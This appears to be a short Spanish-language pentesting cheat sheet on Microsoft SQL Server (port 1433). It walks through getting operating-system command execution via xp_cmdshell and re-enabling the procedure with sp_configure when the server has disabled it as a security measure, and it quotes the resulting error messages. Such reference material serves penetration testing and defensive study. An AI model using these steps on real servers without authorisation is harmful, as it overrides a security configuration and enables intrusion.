MSSQL

Microsoft SQL Server - Port 1433

Ejecución de comandos

###Formas de conseguir el xp_cmdshell ###
    1. try and see if it works
        xp_cmdshell 'whoami'
        go
############################
$ Si te sale lo siguiente pasa al sgte step 2:
Msg 15281, Level 16, State 1
Server '1NSIDER\SQLEXPRESS', Procedure 'xp_cmdshell', Line 1
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system
administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
###########

    2. try to turn component back on
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell 'whoami'
        go
############################
$ Si te sale lo siguiente pasa al sgte step 3:
Msg 15123, Level 16, State 1
Server '1NSIDER\SQLEXPRESS', Procedure 'SP_CONFIGURE', Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
###########
    3. 'advanced' turn it back on
        EXEC SP_CONFIGURE 'show advanced options', 1
        reconfigure
        go
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell 'whoami'
        go

Comandos útiles

Rutas interesantes para un server con MSSQL

Última actualización